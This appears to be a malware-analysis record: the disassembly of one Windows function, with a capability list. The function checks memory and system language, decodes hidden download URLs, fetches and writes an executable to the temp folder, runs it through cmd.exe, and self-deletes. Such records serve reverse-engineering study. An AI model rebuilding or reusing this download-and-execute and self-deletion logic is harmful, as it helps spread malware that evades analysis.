Function at 0x4041b0
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path
Get memory capacity
Query environment variable
Self delete
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41a948
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
mov eax, 0x62bb4
call fcn.00408c50
xor eax, eax
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov dword [ebp - 0x2a4], 0x40
lea eax, [ebp - 0x2a4]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ebp - 0x298]
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], edx
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x70], eax
and dword [ebp - 0x68], 0x7fffffff
fild qword [ebp - 0x6c]
and dword [ebp - 0x70], 0x80000000
mov dword [ebp - 0x74], 0
fild qword [ebp - 0x74]
fchs
faddp st(1)
fstp qword [ebp - 0xf0]
fld qword [ebp - 0xf0]
fdiv qword [0x41b748]
fstp qword [ebp - 0xf8]
fld qword [ebp - 0xf8]
fld qword [0x41b740]
fcompi st(1)
fstp st(0)
jbe 0x404401
xor eax, eax
mov byte [ebp - 0x34], 0x43
mov byte [ebp - 0x33], 0x4f
mov byte [ebp - 0x32], 0x4d
mov byte [ebp - 0x31], 0x53
mov byte [ebp - 0x30], 0x50
mov byte [ebp - 0x2f], 0x45
mov byte [ebp - 0x2e], 0x43
mov byte [ebp - 0x2d], 0
push 0x104
lea ecx, [ebp - 0x4ac]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x4043f9
push 0x104
lea edx, [ebp - 0x4ac]
push edx
lea eax, [ebp - 0x4ac]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x4043f9
push 0x104
lea ecx, [ebp - 0xad8]
push ecx
lea edx, [ebp - 0x34]
push edx
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x4043f9
push 0x41b6a4
lea eax, [ebp - 0x3a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.del__
lea ecx, [ebp - 0x3a8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [ebp - 0x4ac]
push edx
lea eax, [ebp - 0x3a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.____nul
lea ecx, [ebp - 0x3a8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x148], 0x3c
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x13c], str.Open
lea edx, [ebp - 0xad8]
mov dword [ebp - 0x138], edx
lea eax, [ebp - 0x3a8]
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x144], 0x40
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea ecx, [ebp - 0x148]
push ecx
mov edx, dword [0x424100]
mov eax, dword [edx + 0x30]
call eax
test eax, eax
je 0x4043db
push 0x40
mov ecx, dword [ebp - 0x110]
push ecx
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 1
mov edx, dword [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push 0
lea eax, [ebp - 0x4ac]
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
jmp 0x4043f9
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x3c
call fcn.00408bd9
add esp, 4
mov dword [ebp - 0x60], eax
mov dword [ebp - 4], 0
cmp dword [ebp - 0x60], 0
je 0x404428
mov ecx, dword [ebp - 0x60]
call fcn.00401260
mov dword [ebp - 0x64], eax
jmp 0x40442f
mov dword [ebp - 0x64], 0
mov ecx, dword [ebp - 0x64]
mov dword [ebp - 0x78], ecx
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x78]
mov dword [0x424100], edx
movzx eax, byte [0x424104]
test eax, eax
jne 0x404617
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx ecx, ax
cmp ecx, 0x412
je 0x404617
xor eax, eax
mov byte [ebp - 0x2c], 0x43
mov byte [ebp - 0x2b], 0x4f
mov byte [ebp - 0x2a], 0x4d
mov byte [ebp - 0x29], 0x53
mov byte [ebp - 0x28], 0x50
mov byte [ebp - 0x27], 0x45
mov byte [ebp - 0x26], 0x43
mov byte [ebp - 0x25], 0
push 0x104
lea edx, [ebp - 0x6b4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40460b
push 0x104
lea eax, [ebp - 0x6b4]
push eax
lea ecx, [ebp - 0x6b4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x40460b
push 0x104
lea edx, [ebp - 0xbdc]
push edx
lea eax, [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x40460b
push 0x41b6a4
lea ecx, [ebp - 0x5b0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.del__
lea edx, [ebp - 0x5b0]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x6b4]
push eax
lea ecx, [ebp - 0x5b0]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.____nul
lea edx, [ebp - 0x5b0]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x184], 0x3c
mov dword [ebp - 0x17c], 0
mov dword [ebp - 0x178], str.Open
lea eax, [ebp - 0xbdc]
mov dword [ebp - 0x174], eax
lea ecx, [ebp - 0x5b0]
mov dword [ebp - 0x170], ecx
mov dword [ebp - 0x16c], 0
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x180], 0x40
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea edx, [ebp - 0x184]
push edx
mov eax, dword [0x424100]
mov ecx, dword [eax + 0x30]
call ecx
test eax, eax
je 0x4045ed
push 0x40
mov edx, dword [ebp - 0x14c]
push edx
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 1
mov eax, dword [ebp - 0x14c]
push eax
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push 0
lea ecx, [ebp - 0x6b4]
push ecx
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
jmp 0x40460b
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea edx, [ebp - 0x208]
push edx
call fcn.004067c0
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x80]
push ecx
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xd4], esp
push str.Ahr0CdOVlZeWmc40mY4XmJKUmZGV
call fcn.00404f50
mov dword [ebp - 0xd8], eax
lea edx, [ebp - 0x1f0]
push edx
call fcn.004061f0
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x84]
mov dword [ebp - 0x88], eax
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x88]
push ecx
lea edx, [ebp - 0x1d8]
push edx
call fcn.00404c90
mov dword [ebp - 0xdc], eax
mov byte [ebp - 4], 5
push 0
push 1
lea ecx, [ebp - 0x1f0]
call fcn.00405ad0
mov byte [ebp - 4], 7
push 0
push 1
lea ecx, [ebp - 0x208]
call fcn.00405ad0
mov byte [ebp - 4], 6
mov dword [ebp - 0x48], 0
jmp 0x4046c9
mov eax, dword [ebp - 0x48]
add eax, 1
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 5
jge 0x40477d
lea ecx, [ebp - 0x62bc0]
call fcn.00401420
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0xc8], ecx
mov edx, dword [ebp - 0xc8]
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
cmp dword [eax + 0x14], 0x10
jb 0x40472b
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ecx]
mov dword [ebp - 0xc4], edx
mov eax, dword [ebp - 0xe0]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0xc0], ecx
mov edx, dword [ebp - 0xc0]
mov dword [ebp - 0x50], edx
jmp 0x404731
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x50]
mov dword [ebp - 0xbc], ecx
push str.Mozilla_4.0__compatible__Win32__WinHttp.WinHttpRequest.5_
push 1
mov edx, dword [ebp - 0xbc]
push edx
lea ecx, [ebp - 0x62bc0]
call fcn.00401820
lea ecx, [ebp - 0x62bc0]
call fcn.00401690
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x62bc0]
call fcn.004014a0
jmp 0x4046c0
mov dword [ebp - 4], 9
push 0
push 1
lea ecx, [ebp - 0x1d8]
call fcn.00405ad0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x31e58]
call fcn.00401420
mov dword [ebp - 4], 0xa
push 0x41b5e4
push 1
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0xe4], esp
push str.Ahr0Chm6lY80ns4ZmI4Xnc4XotmVBgLUmq__
call fcn.00404f50
mov dword [ebp - 0xe8], eax
lea eax, [ebp - 0x220]
push eax
call fcn.004061f0
mov dword [ebp - 0xcc], eax
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0x8c], ecx
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x90], edx
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
cmp dword [ecx + 0x14], 0x10
jb 0x404839
mov edx, dword [ebp - 0x54]
mov eax, dword [edx]
mov dword [ebp - 0x94], eax
mov ecx, dword [ebp - 0xfc]
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x98], edx
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x58], eax
jmp 0x40483f
mov ecx, dword [ebp - 0x54]
mov dword [ebp - 0x58], ecx
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x9c], edx
mov eax, dword [ebp - 0x9c]
push eax
lea ecx, [ebp - 0x31e58]
call fcn.00401820
mov dword [ebp - 0xa0], eax
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xa4], ecx
mov byte [ebp - 4], 0xc
push 0
push 1
lea ecx, [ebp - 0x220]
call fcn.00405ad0
mov byte [ebp - 4], 0xa
cmp dword [ebp - 0xa4], 0
je 0x404aa6
push 0xa00000
call fcn.00408c42
add esp, 4
mov dword [ebp - 0xa8], eax
mov edx, dword [ebp - 0xa8]
mov dword [ebp - 0x14], edx
lea eax, [ebp - 0x10]
push eax
push 0xa00000
mov ecx, dword [ebp - 0x14]
push ecx
push 0
push 0
lea ecx, [ebp - 0x31e58]
call fcn.004019e0
test eax, eax
je 0x404a8e
push 0x20
mov edx, dword [ebp - 0x14]
add edx, dword [ebp - 0x10]
push edx
call fcn.00404150
mov eax, dword [ebp - 0x10]
add eax, 0x14
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0xb0], ecx
mov byte [ebp - 0x1c], 0x25
mov byte [ebp - 0x1b], 0x73
mov byte [ebp - 0x1a], 0x2e
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x78
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0
mov byte [ebp - 0x44], 0x63
mov byte [ebp - 0x43], 0x6d
mov byte [ebp - 0x42], 0x64
mov byte [ebp - 0x41], 0x2e
mov byte [ebp - 0x40], 0x65
mov byte [ebp - 0x3f], 0x78
mov byte [ebp - 0x3e], 0x65
mov byte [ebp - 0x3d], 0x20
mov byte [ebp - 0x3c], 0x2f
mov byte [ebp - 0x3b], 0x63
mov byte [ebp - 0x3a], 0x20
mov byte [ebp - 0x39], 0x22
mov byte [ebp - 0x38], 0x25
mov byte [ebp - 0x37], 0x73
mov byte [ebp - 0x36], 0x22
mov byte [ebp - 0x35], 0
lea edx, [ebp - 0xce0]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0xde4]
push eax
push 0
push 0x41b668
lea ecx, [ebp - 0xce0]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0
jne 0x40498d
jmp 0x404a8e
lea edx, [ebp - 0xde4]
push edx
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x9d4]
push ecx
call fcn.00403a50
add esp, 0xc
push 0
push 0x80
push 2
push 0
push 0
push 0x10000000
lea edx, [ebp - 0x9d4]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0xffffffff
jne 0x4049d4
jmp 0x404a8e
push 0
lea eax, [ebp - 0xd0]
push eax
mov ecx, dword [ebp - 0xb0]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x9d4]
push edx
lea eax, [ebp - 0x44]
push eax
push 0x208
lea ecx, [ebp - 0x10f0]
push ecx
call fcn.004089a0
add esp, 0x10
push 0x44
push 0
lea edx, [ebp - 0x264]
push edx
call fcn.0040b0a0
add esp, 0xc
mov dword [ebp - 0x264], 0x44
mov dword [ebp - 0x238], 1
xor eax, eax
mov word [ebp - 0x234], ax
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 0x264]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x10f0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov ecx, dword [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xb4], eax
mov ecx, dword [ebp - 0xb4]
push ecx
call fcn.00408c4b
add esp, 4
lea ecx, [ebp - 0x31e58]
call fcn.00401690
xor eax, eax
mov byte [ebp - 0x24], 0x43
mov byte [ebp - 0x23], 0x4f
mov byte [ebp - 0x22], 0x4d
mov byte [ebp - 0x21], 0x53
mov byte [ebp - 0x20], 0x50
mov byte [ebp - 0x1f], 0x45
mov byte [ebp - 0x1e], 0x43
mov byte [ebp - 0x1d], 0
push 0x104
lea edx, [ebp - 0x8bc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x404c53
push 0x104
lea eax, [ebp - 0x8bc]
push eax
lea ecx, [ebp - 0x8bc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x404c53
push 0x104
lea edx, [ebp - 0xee8]
push edx
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x404c53
push 0x41b6a4
lea ecx, [ebp - 0x7b8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push str.del__
lea edx, [ebp - 0x7b8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x8bc]
push eax
lea ecx, [ebp - 0x7b8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.____nul
lea edx, [ebp - 0x7b8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x1c0], 0x3c
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], str.Open
lea eax, [ebp - 0xee8]
mov dword [ebp - 0x1b0], eax
lea ecx, [ebp - 0x7b8]
mov dword [ebp - 0x1ac], ecx
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1a4], 0
mov dword [ebp - 0x1bc], 0x40
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea edx, [ebp - 0x1c0]
push edx
mov eax, dword [0x424100]
mov ecx, dword [eax + 0x30]
call ecx
test eax, eax
je 0x404c35
push 0x40
mov edx, dword [ebp - 0x188]
push edx
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 1
mov eax, dword [ebp - 0x188]
push eax
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
push 0
lea ecx, [ebp - 0x8bc]
push ecx
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
jmp 0x404c53
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]